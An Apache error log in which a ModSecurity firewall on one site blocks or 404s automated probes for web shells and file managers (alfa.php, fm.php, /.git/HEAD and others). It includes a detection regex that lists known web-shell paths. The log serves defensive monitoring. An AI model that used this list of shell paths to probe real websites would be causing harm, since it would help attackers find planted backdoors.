[Thu May 21 08:15:04.575060 2026] [:error] [pid 51613:tid 51631] [client 135.119.26.13:10297] [client 135.119.26.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "ag5OiGbP0MDvqrVnweqfogAAARA"]
[Thu May 21 16:04:04.146500 2026] [:error] [pid 9157:tid 9159] [client 3.235.91.146:53888] [client 3.235.91.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/HEAD"] [unique_id "ag68dMGfHcLNqE8m88J0-gAAAYA"]
[Thu May 21 23:24:09.415698 2026] [:error] [pid 49884:tid 49953] [client 34.150.255.112:63728] [client 34.150.255.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ag8jma5MPpsTNNHWS6gXNgAAAIY"]
[Fri May 22 02:20:31.275057 2026] [:error] [pid 38463:tid 38657] [client 85.137.48.10:44320] File does not exist: /usr/local/apache/htdocs/suspended-page/txets.php
[Fri May 22 03:58:24.290820 2026] [:error] [pid 14236:tid 14270] [client 52.242.199.195:16406] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Fri May 22 03:58:24.507804 2026] [:error] [pid 14236:tid 14285] [client 52.242.199.195:16406] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Fri May 22 03:58:24.895062 2026] [:error] [pid 14236:tid 14273] [client 52.242.199.195:16406] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Fri May 22 03:58:25.091049 2026] [:error] [pid 14236:tid 14280] [client 52.242.199.195:16406] File does not exist: /usr/local/apache/htdocs/suspended-page/css.php
[Fri May 22 03:58:25.286131 2026] [:error] [pid 14236:tid 14287] [client 52.242.199.195:16406] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Fri May 22 03:58:26.328621 2026] [:error] [pid 14236:tid 14284] [client 52.242.199.195:16406] File does not exist: /usr/local/apache/htdocs/suspended-page/gelay.php
[Fri May 22 03:58:26.736597 2026] [:error] [pid 14236:tid 14279] [client 52.242.199.195:16406] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Fri May 22 03:58:26.930098 2026] [:error] [pid 14236:tid 14290] [client 52.242.199.195:16406] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "ag9j4s07Ya_yCHXu0xrkIgAAAFg"]
[Fri May 22 03:58:31.937617 2026] [:error] [pid 14336:tid 14353] [client 52.242.199.195:3657] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "ag9j5y88l1D7PDtPqGnKjgAAAQ8"]
[Fri May 22 03:58:37.890050 2026] [:error] [pid 14336:tid 14350] [client 52.242.199.195:8860] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "ag9j7S88l1D7PDtPqGnKnwAAAQw"]
[Fri May 22 03:58:42.112656 2026] [:error] [pid 14236:tid 14279] [client 52.242.199.195:27947] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "ag9j8s07Ya_yCHXu0xrkLAAAAE0"]
[Fri May 22 03:58:46.080358 2026] [:error] [pid 14236:tid 14286] [client 52.242.199.195:8883] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/controller/extension/extension/ultra.php"] [unique_id "ag9j9s07Ya_yCHXu0xrkMwAAAFQ"]
[Fri May 22 03:59:04.037536 2026] [:error] [pid 49390:tid 49405] [client 52.242.199.195:64576] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "ag9kCEfnx7H5csWqCDAZmwAAAAo"]
[Fri May 22 03:59:06.413850 2026] [:error] [pid 49390:tid 49415] [client 52.242.199.195:9936] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "ag9kCkfnx7H5csWqCDAZpwAAABQ"]
[Fri May 22 03:59:10.987798 2026] [:error] [pid 49392:tid 49455] [client 52.242.199.195:11600] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "ag9kDt6KX5mDbYUc-fu_BwAAAIU"]
[Fri May 22 03:59:12.628318 2026] [:error] [pid 49392:tid 49468] [client 52.242.199.195:16458] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "ag9kEN6KX5mDbYUc-fu_EwAAAJI"]
[Fri May 22 03:59:15.070727 2026] [:error] [pid 49480:tid 49491] [client 52.242.199.195:3627] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/go.php"] [unique_id "ag9kE87gnnlW660htkYUFAAAAMk"]
[Fri May 22 03:59:17.418470 2026] [:error] [pid 49392:tid 49452] [client 52.242.199.195:64583] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/go.php"] [unique_id "ag9kFd6KX5mDbYUc-fu_LwAAAII"]
[Fri May 22 03:59:21.256781 2026] [:error] [pid 49392:tid 49471] [client 52.242.199.195:3623] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/go.php"] [unique_id "ag9kGd6KX5mDbYUc-fu_QgAAAJU"]
[Fri May 22 03:59:24.523357 2026] [:error] [pid 49392:tid 49452] [client 52.242.199.195:3626] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/go.php"] [unique_id "ag9kHN6KX5mDbYUc-fu_VwAAAII"]
[Fri May 22 03:59:31.008014 2026] [:error] [pid 49391:tid 49434] [client 52.242.199.195:3183] File does not exist: /usr/local/apache/htdocs/suspended-page/vv.php
[Fri May 22 03:59:31.406308 2026] [:error] [pid 49391:tid 49436] [client 52.242.199.195:3183] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Fri May 22 03:59:31.985937 2026] [:error] [pid 49391:tid 49439] [client 52.242.199.195:3183] File does not exist: /usr/local/apache/htdocs/suspended-page/222.php
[Fri May 22 03:59:32.216178 2026] [:error] [pid 49391:tid 49440] [client 52.242.199.195:3183] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Fri May 22 03:59:32.409796 2026] [:error] [pid 49391:tid 49444] [client 52.242.199.195:3183] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Fri May 22 03:59:32.799835 2026] [:error] [pid 49391:tid 49447] [client 52.242.199.195:3183] [client 52.242.199.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "ag9kJIOYSn6xUjFbpXKZTAAAAFg"]
[Fri May 22 03:59:37.161021 2026] [:error] [pid 49391:tid 49439] [client 52.242.199.195:9002] File does not exist: /usr/local/apache/htdocs/suspended-page/k.php
[Fri May 22 03:59:37.351758 2026] [:error] [pid 49391:tid 49446] [client 52.242.199.195:9002] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "ag9kKYOYSn6xUjFbpXKZUgAAAFc"]
[Fri May 22 03:59:58.266962 2026] [:error] [pid 49480:tid 49482] [client 52.242.199.195:63571] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/"] [unique_id "ag9kPs7gnnlW660htkYUSAAAAMA"]
[Fri May 22 04:00:01.224600 2026] [:error] [pid 49392:tid 49459] [client 52.242.199.195:62430] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/"] [unique_id "ag9kQd6KX5mDbYUc-fu_fQAAAIk"]
[Fri May 22 04:00:04.073629 2026] [:error] [pid 49391:tid 49438] [client 52.242.199.195:62420] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/"] [unique_id "ag9kRIOYSn6xUjFbpXKZYgAAAE8"]
[Fri May 22 04:00:05.685071 2026] [:error] [pid 49480:tid 49488] [client 52.242.199.195:9039] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/"] [unique_id "ag9kRc7gnnlW660htkYUTgAAAMY"]
[Fri May 22 04:00:12.759644 2026] [:error] [pid 49391:tid 49427] [client 52.242.199.195:1217] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/403.php"] [unique_id "ag9kTIOYSn6xUjFbpXKZZgAAAEQ"]
[Fri May 22 04:00:19.148696 2026] [:error] [pid 49480:tid 49491] [client 52.242.199.195:8529] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/403.php"] [unique_id "ag9kU87gnnlW660htkYUWQAAAMk"]
[Fri May 22 04:00:22.103049 2026] [:error] [pid 49392:tid 49473] [client 52.242.199.195:2232] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/"] [unique_id "ag9kVt6KX5mDbYUc-fu_iQAAAJc"]
[Fri May 22 04:00:28.921851 2026] [:error] [pid 49392:tid 49474] [client 52.242.199.195:3242] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/"] [unique_id "ag9kXN6KX5mDbYUc-fu_iwAAAJg"]
[Fri May 22 04:00:36.130572 2026] [:error] [pid 49480:tid 49483] [client 52.242.199.195:8388] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/"] [unique_id "ag9kZM7gnnlW660htkYUbgAAAME"]
[Fri May 22 04:00:42.574049 2026] [:error] [pid 49391:tid 49444] [client 52.242.199.195:11477] File does not exist: /usr/local/apache/htdocs/suspended-page/gecko.php
[Fri May 22 04:00:43.056309 2026] [:error] [pid 49391:tid 49446] [client 52.242.199.195:11477] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Fri May 22 04:00:43.277930 2026] [:error] [pid 49391:tid 49428] [client 52.242.199.195:11477] File does not exist: /usr/local/apache/htdocs/suspended-page/0x.php
[Fri May 22 04:00:43.698247 2026] [:error] [pid 49391:tid 49434] [client 52.242.199.195:11477] File does not exist: /usr/local/apache/htdocs/suspended-page/cah.php
[Fri May 22 04:00:44.143585 2026] [:error] [pid 49391:tid 49436] [client 52.242.199.195:11477] File does not exist: /usr/local/apache/htdocs/suspended-page/system_log.php
[Fri May 22 04:00:45.351294 2026] [:error] [pid 49391:tid 49425] [client 52.242.199.195:11477] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "ag9kbYOYSn6xUjFbpXKZkQAAAEI"]
[Fri May 22 04:00:47.868423 2026] [:error] [pid 49480:tid 49491] [client 52.242.199.195:11382] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "ag9kb87gnnlW660htkYUjgAAAMk"]
[Fri May 22 04:00:53.026482 2026] [:error] [pid 49391:tid 49442] [client 52.242.199.195:27980] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "ag9kdYOYSn6xUjFbpXKZnAAAAFM"]
[Fri May 22 04:01:04.525984 2026] [:error] [pid 49480:tid 49489] [client 52.242.199.195:2860] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "ag9kgM7gnnlW660htkYUuwAAAMc"]
[Fri May 22 04:01:12.564471 2026] [:error] [pid 49480:tid 49506] [client 52.242.199.195:3856] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "ag9kiM7gnnlW660htkYUywAAANg"]
[Fri May 22 04:01:17.442715 2026] [:error] [pid 49480:tid 49506] [client 52.242.199.195:3754] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/akcc.php"] [unique_id "ag9kjc7gnnlW660htkYU1AAAANg"]
[Fri May 22 04:01:20.055438 2026] [:error] [pid 49391:tid 49440] [client 52.242.199.195:3881] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/akcc.php"] [unique_id "ag9kkIOYSn6xUjFbpXKZswAAAFE"]
[Fri May 22 04:01:22.590519 2026] [:error] [pid 49391:tid 49431] [client 52.242.199.195:3732] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/akcc.php"] [unique_id "ag9kkoOYSn6xUjFbpXKZuAAAAEg"]
[Fri May 22 04:01:28.452729 2026] [:error] [pid 49392:tid 49468] [client 52.242.199.195:2863] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/akcc.php"] [unique_id "ag9kmN6KX5mDbYUc-fu_tgAAAJI"]
[Fri May 22 04:01:34.795561 2026] [:error] [pid 49392:tid 49467] [client 52.242.199.195:11471] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wk/index.php"] [unique_id "ag9knt6KX5mDbYUc-fu_vQAAAJE"]
[Fri May 22 04:01:38.202704 2026] [:error] [pid 49391:tid 49429] [client 52.242.199.195:63198] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wk/index.php"] [unique_id "ag9kooOYSn6xUjFbpXKZwwAAAEY"]
[Fri May 22 04:01:40.409277 2026] [:error] [pid 49392:tid 49462] [client 52.242.199.195:3077] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wk/index.php"] [unique_id "ag9kpN6KX5mDbYUc-fu_0AAAAIw"]
[Fri May 22 04:01:43.363886 2026] [:error] [pid 49480:tid 49486] [client 52.242.199.195:11473] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wk/index.php"] [unique_id "ag9kp87gnnlW660htkYU6QAAAMQ"]
[Fri May 22 04:01:47.500985 2026] [:error] [pid 49480:tid 49494] [client 52.242.199.195:3729] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Fri May 22 04:01:48.088759 2026] [:error] [pid 49480:tid 49501] [client 52.242.199.195:3729] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Fri May 22 04:01:48.502693 2026] [:error] [pid 49480:tid 49500] [client 52.242.199.195:3729] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-config-sample.php
[Fri May 22 04:01:48.698851 2026] [:error] [pid 49480:tid 49498] [client 52.242.199.195:3729] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php
[Fri May 22 04:01:49.205286 2026] [:error] [pid 49480:tid 49486] [client 52.242.199.195:3729] [client 52.242.199.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/shortcode/index.php"] [unique_id "ag9krc7gnnlW660htkYU-wAAAMQ"]
[Fri May 22 04:01:53.969608 2026] [:error] [pid 49480:tid 49504] [client 52.242.199.195:11649] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Fri May 22 04:01:54.860792 2026] [:error] [pid 49480:tid 49489] [client 52.242.199.195:11649] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "ag9kss7gnnlW660htkYVCQAAAMc"]
[Fri May 22 04:02:01.544747 2026] [:error] [pid 49390:tid 49411] [client 52.242.199.195:11323] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "ag9kuUfnx7H5csWqCDAagAAAABA"]
[Fri May 22 04:02:03.132192 2026] [:error] [pid 49392:tid 49471] [client 52.242.199.195:63498] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "ag9ku96KX5mDbYUc-fvAIAAAAJU"]
[Fri May 22 04:02:06.654919 2026] [:error] [pid 49392:tid 49456] [client 52.242.199.195:3095] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "ag9kvt6KX5mDbYUc-fvALQAAAIY"]
[Fri May 22 04:02:17.275663 2026] [:error] [pid 49480:tid 49487] [client 52.242.199.195:10069] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "ag9kyc7gnnlW660htkYVKAAAAMU"]
[Fri May 22 04:02:29.210369 2026] [:error] [pid 49391:tid 49426] [client 52.242.199.195:8091] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/goods.php"] [unique_id "ag9k1YOYSn6xUjFbpXKaAQAAAEM"]
[Fri May 22 04:02:37.214423 2026] [:error] [pid 49390:tid 49396] [client 52.242.199.195:16146] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/goods.php"] [unique_id "ag9k3Ufnx7H5csWqCDAaqgAAAAE"]
